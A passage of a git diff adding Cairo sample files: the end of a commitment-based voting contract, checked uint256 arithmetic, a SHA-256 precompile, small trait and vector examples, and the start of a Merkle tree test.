+    let (local key) = voprf_key.read()
+    let (commitment) = commitments.read(user)
+    local commitment = commitment
+    let (local t_hash) = hash2{hash_ptr=pedersen_ptr}(user, 0)
+    assert t_hash_y * t_hash_y = t_hash * t_hash * t_hash + t_hash + 3141592653589793238462643383279502884197169399375105820974944592307816406665
+
+    let (paid_commitment) = paid.read(user)
+    assert paid_commitment = 0
+    paid.write(user, 1)
+
+    # Make sure vote is either 0 (No) or 1 (Yes)
+    assert vote * (1 - vote) = 0
+
+    if vote == 1:
+        let (num_yes) = ayes.read()
+        ayes.write(num_yes + 1)
+        tempvar storage_ptr : Storage* = storage_ptr
+        tempvar pedersen_ptr : HashBuiltin* = pedersen_ptr
+        tempvar range_check_ptr = range_check_ptr
+    else:
+        if vote == 0:
+            let (num_no) = nays.read()
+            nays.write(num_no + 1)
+            tempvar storage_ptr : Storage* = storage_ptr
+            tempvar pedersen_ptr : HashBuiltin* = pedersen_ptr
+            tempvar range_check_ptr = range_check_ptr
+        else:
+            tempvar storage_ptr : Storage* = storage_ptr
+            tempvar pedersen_ptr : HashBuiltin* = pedersen_ptr
+            tempvar range_check_ptr = range_check_ptr
+        end
+        tempvar storage_ptr : Storage* = storage_ptr
+        tempvar pedersen_ptr : HashBuiltin* = pedersen_ptr
+        tempvar range_check_ptr = range_check_ptr
+    end
+
+    local storage_ptr : Storage* = storage_ptr
+    local pedersen_ptr : HashBuiltin* = pedersen_ptr
+    local range_check_ptr = range_check_ptr
+
+    let (local key_bits : felt*) = alloc()
+    key_bits[0] = a0
+    key_bits[1] = a1
+    key_bits[2] = a2
+    key_bits[3] = a3
+    key_bits[4] = a4
+    key_bits[5] = a5
+    key_bits[6] = a6
+    key_bits[7] = a7
+    key_bits[8] = a8
+    key_bits[9] = a9
+    key_bits[10] = a10
+    key_bits[11] = a11
+    key_bits[12] = a12
+    key_bits[13] = a13
+    key_bits[14] = a14
+    key_bits[15] = a15
+    key_bits[16] = a16
+    key_bits[17] = a17
+    key_bits[18] = a18
+    key_bits[19] = a19
+    key_bits[20] = a20
+    key_bits[21] = a21
+    key_bits[22] = a22
+    key_bits[23] = a23
+    key_bits[24] = a24
+    key_bits[25] = a25
+    key_bits[26] = a26
+    key_bits[27] = a27
+    key_bits[28] = a28
+    key_bits[29] = a29
+    key_bits[30] = a30
+    key_bits[31] = a31
+    key_bits[32] = a32
+    key_bits[33] = a33
+    key_bits[34] = a34
+    key_bits[35] = a35
+    key_bits[36] = a36
+    key_bits[37] = a37
+    key_bits[38] = a38
+    key_bits[39] = a39
+    key_bits[40] = a40
+    key_bits[41] = a41
+    key_bits[42] = a42
+    key_bits[43] = a43
+    key_bits[44] = a44
+    key_bits[45] = a45
+    key_bits[46] = a46
+    key_bits[47] = a47
+    key_bits[48] = a48
+    key_bits[49] = a49
+    key_bits[50] = a50
+    key_bits[51] = a51
+    key_bits[52] = a52
+    key_bits[53] = a53
+    key_bits[54] = a54
+    key_bits[55] = a55
+    key_bits[56] = a56
+    key_bits[57] = a57
+    key_bits[58] = a58
+    key_bits[59] = a59
+    key_bits[60] = a60
+    key_bits[61] = a61
+    key_bits[62] = a62
+    key_bits[63] = a63
+    key_bits[64] = a64
+    key_bits[65] = a65
+    key_bits[66] = a66
+    key_bits[67] = a67
+    key_bits[68] = a68
+    key_bits[69] = a69
+    key_bits[70] = a70
+    key_bits[71] = a71
+    key_bits[72] = a72
+    key_bits[73] = a73
+    key_bits[74] = a74
+    key_bits[75] = a75
+    key_bits[76] = a76
+    key_bits[77] = a77
+    key_bits[78] = a78
+    key_bits[79] = a79
+    key_bits[80] = a80
+    key_bits[81] = a81
+    key_bits[82] = a82
+    key_bits[83] = a83
+    key_bits[84] = a84
+    key_bits[85] = a85
+    key_bits[86] = a86
+    key_bits[87] = a87
+    key_bits[88] = a88
+    key_bits[89] = a89
+    key_bits[90] = a90
+    key_bits[91] = a91
+    key_bits[92] = a92
+    key_bits[93] = a93
+    key_bits[94] = a94
+    key_bits[95] = a95
+    key_bits[96] = a96
+    key_bits[97] = a97
+    key_bits[98] = a98
+    key_bits[99] = a99
+    key_bits[100] = a100
+    key_bits[101] = a101
+    key_bits[102] = a102
+    key_bits[103] = a103
+    key_bits[104] = a104
+    key_bits[105] = a105
+    key_bits[106] = a106
+    key_bits[107] = a107
+    key_bits[108] = a108
+    key_bits[109] = a109
+    key_bits[110] = a110
+    key_bits[111] = a111
+    key_bits[112] = a112
+    key_bits[113] = a113
+    key_bits[114] = a114
+    key_bits[115] = a115
+    key_bits[116] = a116
+    key_bits[117] = a117
+    key_bits[118] = a118
+    key_bits[119] = a119
+    key_bits[120] = a120
+    key_bits[121] = a121
+    key_bits[122] = a122
+    key_bits[123] = a123
+    key_bits[124] = a124
+    key_bits[125] = a125
+    key_bits[126] = a126
+    key_bits[127] = a127
+    let (key_computed) = double_and_add_2_128(key_bits, 0)
+    assert key_computed = key
+
+    let (commitment_computed) = double_and_add_ec(0, 0, t_hash, t_hash_y, 1, key_bits, 127)
+    assert commitment_computed = commitment
+    return ()
+end
+
+@view
+func get_result{storage_ptr : Storage*, pedersen_ptr : HashBuiltin*, range_check_ptr}() -> (
+        num_yes : felt, num_no : felt):
+    let (current_phase) = phase.read()
+    assert current_phase = 4
+    let (num_yes) = ayes.read()
+    let (num_no) = nays.read()
+    return (num_yes, num_no)
+end
+
+@view
+func get_phase{storage_ptr : Storage*, pedersen_ptr : HashBuiltin*, range_check_ptr}() -> (
+        res : felt):
+    let (res) = phase.read()
+    return (res)
+end
diff --git a/samples/Cairo Zero/safemath.cairo b/samples/Cairo Zero/safemath.cairo
new file mode 100644
index 0000000000..a7e58f8335
--- /dev/null
+++ b/samples/Cairo Zero/safemath.cairo	
@@ -0,0 +1,54 @@
+%lang starknet
+
+from starkware.cairo.common.cairo_builtins import HashBuiltin, SignatureBuiltin
+from starkware.cairo.common.math import assert_not_zero
+from starkware.cairo.common.uint256 import (
+    Uint256, uint256_check, uint256_add, uint256_sub, uint256_le, uint256_lt
+)
+
+# Adds two integers.
+# Reverts if the sum overflows.
+func uint256_checked_add{
+        syscall_ptr: felt*,
+        pedersen_ptr: HashBuiltin*,
+        range_check_ptr
+    } (a: Uint256, b: Uint256) -> (c: Uint256):
+    uint256_check(a)
+    uint256_check(b)
+    let (c: Uint256, is_overflow) = uint256_add(a, b)
+    assert (is_overflow) = 0
+    return (c)
+end
+
+# Subtracts two integers.
+# Reverts if minuend (`b`) is greater than subtrahend (`a`).
+func uint256_checked_sub_le{
+        syscall_ptr: felt*,
+        pedersen_ptr: HashBuiltin*,
+        range_check_ptr
+    } (a: Uint256, b: Uint256) -> (c: Uint256):
+    alloc_locals
+    uint256_check(a)
+    uint256_check(b)
+    let (is_le) = uint256_le(b, a)
+    assert_not_zero(is_le)
+    let (c: Uint256) = uint256_sub(a, b)
+    return (c)
+end
+
+# Subtracts two integers.
+# Reverts if minuend (`b`) is greater than or equal to subtrahend (`a`).
+func uint256_checked_sub_lt{
+        syscall_ptr: felt*,
+        pedersen_ptr: HashBuiltin*,
+        range_check_ptr
+    } (a: Uint256, b: Uint256) -> (c: Uint256):
+    alloc_locals
+    uint256_check(a)
+    uint256_check(b)
+
+    let (is_lt) = uint256_lt(b, a)
+    assert_not_zero(is_lt)
+    let (c: Uint256) = uint256_sub(a, b)
+    return (c)
+end
diff --git a/samples/Cairo Zero/sha256.cairo b/samples/Cairo Zero/sha256.cairo
new file mode 100644
index 0000000000..ca97162df0
--- /dev/null
+++ b/samples/Cairo Zero/sha256.cairo	
@@ -0,0 +1,462 @@
+%lang starknet
+
+// Starkware dependencies
+from starkware.cairo.common.alloc import alloc
+from starkware.cairo.common.registers import get_fp_and_pc
+from starkware.cairo.common.cairo_builtins import HashBuiltin, BitwiseBuiltin
+from starkware.cairo.common.math import assert_nn_le, unsigned_div_rem
+from starkware.cairo.common.math_cmp import is_le_felt
+from starkware.cairo.common.memcpy import memcpy
+from starkware.cairo.common.memset import memset
+from starkware.cairo.common.pow import pow
+from starkware.cairo.common.bool import FALSE
+
+// Internal dependencies
+from utils.sha_256.packed_sha256 import (
+    BLOCK_SIZE,
+    compute_message_schedule,
+    sha2_compress,
+    get_round_constants,
+)
+from utils.utils import Helpers
+
+// @title SHA2-256 Precompile related functions.
+// @notice This file contains the logic required to run the SHA2-256 precompile
+// @author @ftupas
+// @custom:namespace PrecompileSHA256
+namespace PrecompileSHA256 {
+    const PRECOMPILE_ADDRESS = 0x02;
+    const GAS_COST_SHA256 = 60;
+
+    // @notice Run the precompile.
+    // @param input_len The length of input array.
+    // @param input The input array.
+    // @return output_len The output length.
+    // @return output The output array.
+    // @return gas_used The gas usage of precompile.
+    func run{
+        syscall_ptr: felt*,
+        pedersen_ptr: HashBuiltin*,
+        range_check_ptr,
+        bitwise_ptr: BitwiseBuiltin*,
+    }(_address: felt, input_len: felt, input: felt*) -> (
+        output_len: felt, output: felt*, gas_used: felt, reverted: felt
+    ) {
+        alloc_locals;
+
+        // Copy input array
+        let (arr: felt*) = alloc();
+        memcpy(arr, input, input_len);
+
+        // Zero-pad bytes array
+        // ex. 'rld\x00'
+        let (q: felt, r: felt) = unsigned_div_rem(input_len, 4);
+        if (r != 0) {
+            // Append zero elements at the end of array
+            memset(arr + input_len, 0, 4 - r);
+            tempvar arr_len = (q + 1) * 4;
+        } else {
+            tempvar arr_len = q * 4;
+        }
+
+        // Prepare input bytes array to words of 32 bits (big endian).
+        let (prepared_input: felt*) = alloc();
+        let (prepared_input_len, prepared_input: felt*) = Helpers.bytes_to_bytes4_array(
+            arr_len, arr, 0, prepared_input
+        );
+
+        // Compute hash, use input_len for number of bytes
+        let (local sha256_ptr: felt*) = alloc();
+        let sha256_ptr_start = sha256_ptr;
+        let (hash) = SHA256.sha256{sha256_ptr=sha256_ptr}(prepared_input, input_len);
+
+        // Finalize hash
+        SHA256.finalize_sha256(sha256_ptr_start=sha256_ptr_start, sha256_ptr_end=sha256_ptr);
+
+        // Split words and return bytes hash code.
+        let (hash_bytes_array: felt*) = alloc();
+        let (_, hash_bytes_array: felt*) = Helpers.bytes4_array_to_bytes(
+            8, hash, 0, hash_bytes_array
+        );
+        let (minimum_word_size) = Helpers.minimum_word_count(input_len);
+        return (32, hash_bytes_array, 12 * minimum_word_size + GAS_COST_SHA256, 0);
+    }
+}
+
+namespace SHA256 {
+    const SHA256_INPUT_CHUNK_SIZE_FELTS = 16;
+    const SHA256_INPUT_CHUNK_SIZE_BYTES = 64;
+    const SHA256_STATE_SIZE_FELTS = 8;
+    // Each instance consists of 16 words of message, 8 words for the input state and 8 words
+    // for the output state.
+    const SHA256_INSTANCE_SIZE = SHA256_INPUT_CHUNK_SIZE_FELTS + 2 * SHA256_STATE_SIZE_FELTS;
+
+    // Computes SHA256 of 'input'. Inputs of arbitrary length are supported.
+    // To use this function, split the input into (up to) 14 words of 32 bits (big endian).
+    // For example, to compute sha256('Hello world'), use:
+    //   input = [1214606444, 1864398703, 1919706112]
+    // where:
+    //   1214606444 == int.from_bytes(b'Hell', 'big')
+    //   1864398703 == int.from_bytes(b'o wo', 'big')
+    //   1919706112 == int.from_bytes(b'rld\x00', 'big')  # Note the '\x00' padding.
+    //
+    // block layout:
+    // 0 - 15: Message
+    // 16 - 23: Input State
+    // 24 - 32: Output
+    //
+    // output is an array of 8 32-bit words (big endian).
+    //
+    // Note: You must call finalize_sha2() at the end of the program. Otherwise, this function
+    // is not sound and a malicious prover may return a wrong result.
+    // Note: the interface of this function may change in the future.
+    func sha256{range_check_ptr, sha256_ptr: felt*}(data: felt*, n_bytes: felt) -> (output: felt*) {
+        alloc_locals;
+
+        // Set the initial input state to IV.
+        assert sha256_ptr[16] = 0x6A09E667;
+        assert sha256_ptr[17] = 0xBB67AE85;
+        assert sha256_ptr[18] = 0x3C6EF372;
+        assert sha256_ptr[19] = 0xA54FF53A;
+        assert sha256_ptr[20] = 0x510E527F;
+        assert sha256_ptr[21] = 0x9B05688C;
+        assert sha256_ptr[22] = 0x1F83D9AB;
+        assert sha256_ptr[23] = 0x5BE0CD19;
+
+        sha256_inner(data=data, n_bytes=n_bytes, total_bytes=n_bytes);
+
+        // Set `output` to the start of the final state.
+        let output = sha256_ptr;
+        // Set `sha256_ptr` to the end of the output state.
+        let sha256_ptr = sha256_ptr + SHA256_STATE_SIZE_FELTS;
+        return (output,);
+    }
+
+    // Computes the sha256 hash of the input chunk from `message` to `message + SHA256_INPUT_CHUNK_SIZE_FELTS`
+    func _sha256_chunk{range_check_ptr, sha256_start: felt*, state: felt*, output: felt*}() {
+        %{
+            from starkware.cairo.common.cairo_sha256.sha256_utils import (
+                compute_message_schedule, sha2_compress_function)
+
+            _sha256_input_chunk_size_felts = int(ids.SHA256_INPUT_CHUNK_SIZE_FELTS)
+            assert 0 <= _sha256_input_chunk_size_felts < 100
+            _sha256_state_size_felts = int(ids.SHA256_STATE_SIZE_FELTS)
+            assert 0 <= _sha256_state_size_felts < 100
+            w = compute_message_schedule(memory.get_range(
+                ids.sha256_start, _sha256_input_chunk_size_felts))
+            new_state = sha2_compress_function(memory.get_range(ids.state, _sha256_state_size_felts), w)
+            segments.write_arg(ids.output, new_state)
+        %}
+        return ();
+    }
+
+    // Inner loop for sha256. `sha256_ptr` points to the start of the block.
+    func sha256_inner{range_check_ptr, sha256_ptr: felt*}(
+        data: felt*, n_bytes: felt, total_bytes: felt
+    ) {
+        alloc_locals;
+
+        let message = sha256_ptr;
+        let state = sha256_ptr + SHA256_INPUT_CHUNK_SIZE_FELTS;
+        let output = state + SHA256_STATE_SIZE_FELTS;
+
+        let zero_bytes = is_le_felt(n_bytes, 0);
+        let zero_total_bytes = is_le_felt(total_bytes, 0);
+
+        // If the previous message block was full we are still missing "1" at the end of the message
+        let (_, r_div_by_64) = unsigned_div_rem(total_bytes, 64);
+        let missing_bit_one = is_le_felt(r_div_by_64, 0);
+
+        // This works for 0 total bytes too, because zero_chunk will be -1 and, therefore, not 0.
+        let zero_chunk = zero_bytes - zero_total_bytes - missing_bit_one;
+
+        let is_last_block = is_le_felt(n_bytes, 55);
+        if (is_last_block == FALSE) {
+            let (q, r) = unsigned_div_rem(n_bytes, SHA256_INPUT_CHUNK_SIZE_BYTES);
+            let is_remainder_block = is_le_felt(q, 0);
+            if (is_remainder_block == FALSE) {
+                _sha256_input(
+                    data, SHA256_INPUT_CHUNK_SIZE_BYTES, SHA256_INPUT_CHUNK_SIZE_FELTS, 0
+                );
+                _sha256_chunk{sha256_start=message, state=state, output=output}();
+
+                let sha256_ptr = sha256_ptr + SHA256_STATE_SIZE_FELTS;
+                memcpy(
+                    output + SHA256_STATE_SIZE_FELTS + SHA256_INPUT_CHUNK_SIZE_FELTS,
+                    output,
+                    SHA256_STATE_SIZE_FELTS,
+                );
+                let sha256_ptr = sha256_ptr + SHA256_STATE_SIZE_FELTS;
+
+                return sha256_inner(
+                    data=data + SHA256_INPUT_CHUNK_SIZE_FELTS,
+                    n_bytes=n_bytes - SHA256_INPUT_CHUNK_SIZE_BYTES,
+                    total_bytes=total_bytes,
+                );
+            } else {
+                _sha256_input(data, r, SHA256_INPUT_CHUNK_SIZE_FELTS, 0);
+                _sha256_chunk{sha256_start=message, state=state, output=output}();
+
+                let sha256_ptr = sha256_ptr + SHA256_STATE_SIZE_FELTS;
+                memcpy(
+                    output + SHA256_STATE_SIZE_FELTS + SHA256_INPUT_CHUNK_SIZE_FELTS,
+                    output,
+                    SHA256_STATE_SIZE_FELTS,
+                );
+                let sha256_ptr = sha256_ptr + SHA256_STATE_SIZE_FELTS;
+
+                return sha256_inner(data=data, n_bytes=n_bytes - r, total_bytes=total_bytes);
+            }
+        }
+
+        _sha256_input(data, n_bytes, SHA256_INPUT_CHUNK_SIZE_FELTS - 2, zero_chunk);
+        // Append the original message length at the end of the message block as a 64-bit big-endian integer.
+        assert sha256_ptr[0] = 0;
+        assert sha256_ptr[1] = total_bytes * 8;
+        let sha256_ptr = sha256_ptr + 2;
+        _sha256_chunk{sha256_start=message, state=state, output=output}();
+        let sha256_ptr = sha256_ptr + SHA256_STATE_SIZE_FELTS;
+
+        return ();
+    }
+
+    // 1. Encode the input to binary using UTF-8 and append a single '1' to it.
+    // 2. Prepend that binary to the message block.
+    func _sha256_input{range_check_ptr, sha256_ptr: felt*}(
+        input: felt*, n_bytes: felt, n_words: felt, pad_chunk: felt
+    ) {
+        alloc_locals;
+
+        local full_word;
+        %{ ids.full_word = int(ids.n_bytes >= 4) %}
+
+        if (full_word != 0) {
+            assert sha256_ptr[0] = input[0];
+            let sha256_ptr = sha256_ptr + 1;
+            return _sha256_input(
+                input=input + 1, n_bytes=n_bytes - 4, n_words=n_words - 1, pad_chunk=pad_chunk
+            );
+        }
+
+        if (n_words == 0) {
+            return ();
+        }
+
+        if (n_bytes == 0 and pad_chunk == 1) {
+            // Add zeros between the encoded message and the length integer so that the message block is a multiple of 512.
+            memset(dst=sha256_ptr, value=0, n=n_words);
+            let sha256_ptr = sha256_ptr + n_words;
+            return ();
+        }
+
+        if (n_bytes == 0) {
+            // This is the last input word, so we should add a byte '0x80' at the end and fill the rest with zeros.
+            assert sha256_ptr[0] = 0x80000000;
+            // Add zeros between the encoded message and the length integer so that the message block is a multiple of 512.
+            memset(dst=sha256_ptr + 1, value=0, n=n_words - 1);
+            let sha256_ptr = sha256_ptr + n_words;
+            return ();
+        }
+
+        assert_nn_le(n_bytes, 3);
+        let (padding) = pow(256, 3 - n_bytes);
+        local range_check_ptr = range_check_ptr;
+
+        assert sha256_ptr[0] = input[0] + padding * 0x80;
+
+        memset(dst=sha256_ptr + 1, value=0, n=n_words - 1);
+        let sha256_ptr = sha256_ptr + n_words;
+        return ();
+    }
+
+    // Handles n blocks of BLOCK_SIZE SHA256 instances.
+    // Taken from: https://github.com/starkware-libs/cairo-examples/blob/0d88b41bffe3de112d98986b8b0afa795f9d67a0/sha256/sha256.cairo#L102
+    func _finalize_sha256_inner{range_check_ptr, bitwise_ptr: BitwiseBuiltin*}(
+        sha256_ptr: felt*, n: felt, round_constants: felt*
+    ) {
+        if (n == 0) {
+            return ();
+        }
+
+        alloc_locals;
+
+        local MAX_VALUE = 2 ** 32 - 1;
+
+        let sha256_start = sha256_ptr;
+
+        let (local message_start: felt*) = alloc();
+        let (local input_state_start: felt*) = alloc();
+
+        // Handle message.
+
+        tempvar message = message_start;
+        tempvar sha256_ptr = sha256_ptr;
+        tempvar range_check_ptr = range_check_ptr;
+        tempvar m = SHA256_INPUT_CHUNK_SIZE_FELTS;
+
+        message_loop:
+        tempvar x0 = sha256_ptr[0 * SHA256_INSTANCE_SIZE];
+        assert [range_check_ptr + 0] = x0;
+        assert [range_check_ptr + 1] = MAX_VALUE - x0;
+        tempvar x1 = sha256_ptr[1 * SHA256_INSTANCE_SIZE];
+        assert [range_check_ptr + 2] = x1;
+        assert [range_check_ptr + 3] = MAX_VALUE - x1;
+        tempvar x2 = sha256_ptr[2 * SHA256_INSTANCE_SIZE];
+        assert [range_check_ptr + 4] = x2;
+        assert [range_check_ptr + 5] = MAX_VALUE - x2;
+        tempvar x3 = sha256_ptr[3 * SHA256_INSTANCE_SIZE];
+        assert [range_check_ptr + 6] = x3;
+        assert [range_check_ptr + 7] = MAX_VALUE - x3;
+        tempvar x4 = sha256_ptr[4 * SHA256_INSTANCE_SIZE];
+        assert [range_check_ptr + 8] = x4;
+        assert [range_check_ptr + 9] = MAX_VALUE - x4;
+        tempvar x5 = sha256_ptr[5 * SHA256_INSTANCE_SIZE];
+        assert [range_check_ptr + 10] = x5;
+        assert [range_check_ptr + 11] = MAX_VALUE - x5;
+        tempvar x6 = sha256_ptr[6 * SHA256_INSTANCE_SIZE];
+        assert [range_check_ptr + 12] = x6;
+        assert [range_check_ptr + 13] = MAX_VALUE - x6;
+        assert message[0] = x0 + 2 ** 35 * x1 + 2 ** (35 * 2) * x2 + 2 ** (35 * 3) * x3 + 2 ** (
+            35 * 4
+        ) * x4 + 2 ** (35 * 5) * x5 + 2 ** (35 * 6) * x6;
+
+        tempvar message = message + 1;
+        tempvar sha256_ptr = sha256_ptr + 1;
+        tempvar range_check_ptr = range_check_ptr + 14;
+        tempvar m = m - 1;
+        jmp message_loop if m != 0;
+
+        // Handle input state.
+
+        tempvar input_state = input_state_start;
+        tempvar sha256_ptr = sha256_ptr;
+        tempvar range_check_ptr = range_check_ptr;
+        tempvar m = SHA256_STATE_SIZE_FELTS;
+
+        input_state_loop:
+        tempvar x0 = sha256_ptr[0 * SHA256_INSTANCE_SIZE];
+        assert [range_check_ptr + 0] = x0;
+        assert [range_check_ptr + 1] = MAX_VALUE - x0;
+        tempvar x1 = sha256_ptr[1 * SHA256_INSTANCE_SIZE];
+        assert [range_check_ptr + 2] = x1;
+        assert [range_check_ptr + 3] = MAX_VALUE - x1;
+        tempvar x2 = sha256_ptr[2 * SHA256_INSTANCE_SIZE];
+        assert [range_check_ptr + 4] = x2;
+        assert [range_check_ptr + 5] = MAX_VALUE - x2;
+        tempvar x3 = sha256_ptr[3 * SHA256_INSTANCE_SIZE];
+        assert [range_check_ptr + 6] = x3;
+        assert [range_check_ptr + 7] = MAX_VALUE - x3;
+        tempvar x4 = sha256_ptr[4 * SHA256_INSTANCE_SIZE];
+        assert [range_check_ptr + 8] = x4;
+        assert [range_check_ptr + 9] = MAX_VALUE - x4;
+        tempvar x5 = sha256_ptr[5 * SHA256_INSTANCE_SIZE];
+        assert [range_check_ptr + 10] = x5;
+        assert [range_check_ptr + 11] = MAX_VALUE - x5;
+        tempvar x6 = sha256_ptr[6 * SHA256_INSTANCE_SIZE];
+        assert [range_check_ptr + 12] = x6;
+        assert [range_check_ptr + 13] = MAX_VALUE - x6;
+        assert input_state[0] = x0 + 2 ** 35 * x1 + 2 ** (35 * 2) * x2 + 2 ** (35 * 3) * x3 + 2 ** (
+            35 * 4
+        ) * x4 + 2 ** (35 * 5) * x5 + 2 ** (35 * 6) * x6;
+
+        tempvar input_state = input_state + 1;
+        tempvar sha256_ptr = sha256_ptr + 1;
+        tempvar range_check_ptr = range_check_ptr + 14;
+        tempvar m = m - 1;
+        jmp input_state_loop if m != 0;
+
+        // Run sha256 on the 7 instances.
+
+        local sha256_ptr: felt* = sha256_ptr;
+        local range_check_ptr = range_check_ptr;
+        compute_message_schedule(message_start);
+        let (outputs) = sha2_compress(input_state_start, message_start, round_constants);
+        local bitwise_ptr: BitwiseBuiltin* = bitwise_ptr;
+
+        // Handle outputs.
+
+        tempvar outputs = outputs;
+        tempvar sha256_ptr = sha256_ptr;
+        tempvar range_check_ptr = range_check_ptr;
+        tempvar m = SHA256_STATE_SIZE_FELTS;
+
+        output_loop:
+        tempvar x0 = sha256_ptr[0 * SHA256_INSTANCE_SIZE];
+        assert [range_check_ptr] = x0;
+        assert [range_check_ptr + 1] = MAX_VALUE - x0;
+        tempvar x1 = sha256_ptr[1 * SHA256_INSTANCE_SIZE];
+        assert [range_check_ptr + 2] = x1;
+        assert [range_check_ptr + 3] = MAX_VALUE - x1;
+        tempvar x2 = sha256_ptr[2 * SHA256_INSTANCE_SIZE];
+        assert [range_check_ptr + 4] = x2;
+        assert [range_check_ptr + 5] = MAX_VALUE - x2;
+        tempvar x3 = sha256_ptr[3 * SHA256_INSTANCE_SIZE];
+        assert [range_check_ptr + 6] = x3;
+        assert [range_check_ptr + 7] = MAX_VALUE - x3;
+        tempvar x4 = sha256_ptr[4 * SHA256_INSTANCE_SIZE];
+        assert [range_check_ptr + 8] = x4;
+        assert [range_check_ptr + 9] = MAX_VALUE - x4;
+        tempvar x5 = sha256_ptr[5 * SHA256_INSTANCE_SIZE];
+        assert [range_check_ptr + 10] = x5;
+        assert [range_check_ptr + 11] = MAX_VALUE - x5;
+        tempvar x6 = sha256_ptr[6 * SHA256_INSTANCE_SIZE];
+        assert [range_check_ptr + 12] = x6;
+        assert [range_check_ptr + 13] = MAX_VALUE - x6;
+
+        assert outputs[0] = x0 + 2 ** 35 * x1 + 2 ** (35 * 2) * x2 + 2 ** (35 * 3) * x3 + 2 ** (
+            35 * 4
+        ) * x4 + 2 ** (35 * 5) * x5 + 2 ** (35 * 6) * x6;
+
+        tempvar outputs = outputs + 1;
+        tempvar sha256_ptr = sha256_ptr + 1;
+        tempvar range_check_ptr = range_check_ptr + 14;
+        tempvar m = m - 1;
+        jmp output_loop if m != 0;
+
+        return _finalize_sha256_inner(
+            sha256_ptr=sha256_start + SHA256_INSTANCE_SIZE * BLOCK_SIZE,
+            n=n - 1,
+            round_constants=round_constants,
+        );
+    }
+
+    // Verifies that the results of sha256() are valid.
+    // Taken from: https://github.com/starkware-libs/cairo-examples/blob/0d88b41bffe3de112d98986b8b0afa795f9d67a0/sha256/sha256.cairo#L246
+    func finalize_sha256{range_check_ptr, bitwise_ptr: BitwiseBuiltin*}(
+        sha256_ptr_start: felt*, sha256_ptr_end: felt*
+    ) {
+        alloc_locals;
+
+        let (__fp__, _) = get_fp_and_pc();
+
+        let (round_constants) = get_round_constants();
+
+        // We reuse the output state of the previous chunk as input to the next.
+        tempvar n = (sha256_ptr_end - sha256_ptr_start) / SHA256_INSTANCE_SIZE;
+        if (n == 0) {
+            return ();
+        }
+
+        %{
+            # Add dummy pairs of input and output.
+            from starkware.cairo.common.cairo_sha256.sha256_utils import (
+                IV, compute_message_schedule, sha2_compress_function)
+
+            _block_size = int(ids.BLOCK_SIZE)
+            assert 0 <= _block_size < 20
+            _sha256_input_chunk_size_felts = int(ids.SHA256_INPUT_CHUNK_SIZE_FELTS)
+            assert 0 <= _sha256_input_chunk_size_felts < 100
+
+            message = [0] * _sha256_input_chunk_size_felts
+            w = compute_message_schedule(message)
+            output = sha2_compress_function(IV, w)
+            padding = (message + IV + output) * (_block_size - 1)
+            segments.write_arg(ids.sha256_ptr_end, padding)
+        %}
+
+        // Compute the amount of blocks (rounded up).
+        let (local q, r) = unsigned_div_rem(n + BLOCK_SIZE - 1, BLOCK_SIZE);
+        _finalize_sha256_inner(sha256_ptr_start, n=q, round_constants=round_constants);
+        return ();
+    }
+}
diff --git a/samples/Cairo/boolean.cairo b/samples/Cairo/boolean.cairo
new file mode 100644
index 0000000000..74fb89af08
--- /dev/null
+++ b/samples/Cairo/boolean.cairo
@@ -0,0 +1,19 @@
+#[generate_trait]
+pub impl BoolImpl<T, +Drop<T>> of BoolTrait<T> {
+    /// Returns `Some(t)` if the `bool` is `true`, or `None` otherwise.
+    ///
+    /// # Examples
+    ///
+    /// ```
+    /// assert!(false.then_some(0) == Option::None);
+    /// assert!(true.then_some(0) == Option::Some(0));
+    /// ```
+    #[inline(always)]
+    fn then_some(self: bool, t: T) -> Option<T> nopanic {
+        if self {
+            Option::Some(t)
+        } else {
+            Option::None
+        }
+    }
+}
diff --git a/samples/Cairo/cust_struct_vect.cairo b/samples/Cairo/cust_struct_vect.cairo
new file mode 100644
index 0000000000..7b6065a337
--- /dev/null
+++ b/samples/Cairo/cust_struct_vect.cairo
@@ -0,0 +1,55 @@
+use core::dict::Felt252DictTrait;
+use core::nullable::{match_nullable, FromNullableResult, NullableTrait};
+use core::integer;
+
+trait VecTrait<V, T> {
+    fn new() -> V;
+    fn get(ref self: V, index: usize) -> Option<T>;
+    fn at(ref self: V, index: usize) -> T;
+    fn push(ref self: V, value: T) -> ();
+    fn set(ref self: V, index: usize, value: T);
+    fn len(self: @V) -> usize;
+}
+
+struct NullableVec<T> {
+    data: Felt252Dict<Nullable<T>>,
+    len: usize
+}
+
+impl DestructNullableVec<T, +Drop<T>> of Destruct<NullableVec<T>> {
+    fn destruct(self: NullableVec<T>) nopanic {
+        self.data.squash();
+    }
+}
+
+impl NullableVecImpl<T, +Drop<T>, +Copy<T>> of VecTrait<NullableVec<T>, T> {
+    fn new() -> NullableVec<T> {
+        NullableVec { data: Default::default(), len: 0 }
+    }
+
+    fn get(ref self: NullableVec<T>, index: usize) -> Option<T> {
+        if index < self.len() {
+            Option::Some(self.data.get(index.into()).deref())
+        } else {
+            Option::None
+        }
+    }
+
+    fn at(ref self: NullableVec<T>, index: usize) -> T {
+        assert!(index < self.len(), "Index out of bounds");
+        self.data.get(index.into()).deref()
+    }
+
+    fn push(ref self: NullableVec<T>, value: T) -> () {
+        self.data.insert(self.len.into(), NullableTrait::new(value));
+        self.len = core::integer::u32_wrapping_add(self.len, 1_usize);
+    }
+    fn set(ref self: NullableVec<T>, index: usize, value: T) {
+        assert!(index < self.len(), "Index out of bounds");
+        self.data.insert(index.into(), NullableTrait::new(value));
+    }
+
+    fn len(self: @NullableVec<T>) -> usize {
+        *self.len
+    }
+}
diff --git a/samples/Cairo/merkle_tree_test.cairo b/samples/Cairo/merkle_tree_test.cairo
new file mode 100644
index 0000000000..a3dfc79123
--- /dev/null
+++ b/samples/Cairo/merkle_tree_test.cairo
@@ -0,0 +1,151 @@
+// Internal imports
+use alexandria_merkle_tree::merkle_tree::{
+    Hasher, MerkleTree, pedersen::PedersenHasherImpl, poseidon::PoseidonHasherImpl, MerkleTreeTrait,
+    MerkleTreeImpl
+};
+
+
+mod regular_call_merkle_tree_pedersen {
+    // Internal imports
+    use alexandria_merkle_tree::merkle_tree::{
+        Hasher, MerkleTree, pedersen::PedersenHasherImpl, MerkleTreeTrait,
+    };
+    #[test]
+    #[available_gas(2000000)]
+    fn regular_call_merkle_tree_pedersen_test() {
+        // [Setup] Merkle tree.
+        let mut merkle_tree: MerkleTree<Hasher> = MerkleTreeTrait::new();
+        let root = 0x15ac9e457789ef0c56e5d559809e7336a909c14ee2511503fa7af69be1ba639;
+        let leaf = 0x1;
+        let valid_proof = array![
+            0x2, 0x68ba2a188dd231112c1cb5aaa5d18be6d84f6c8683e5c3a6638dee83e727acc
+        ]
+            .span();
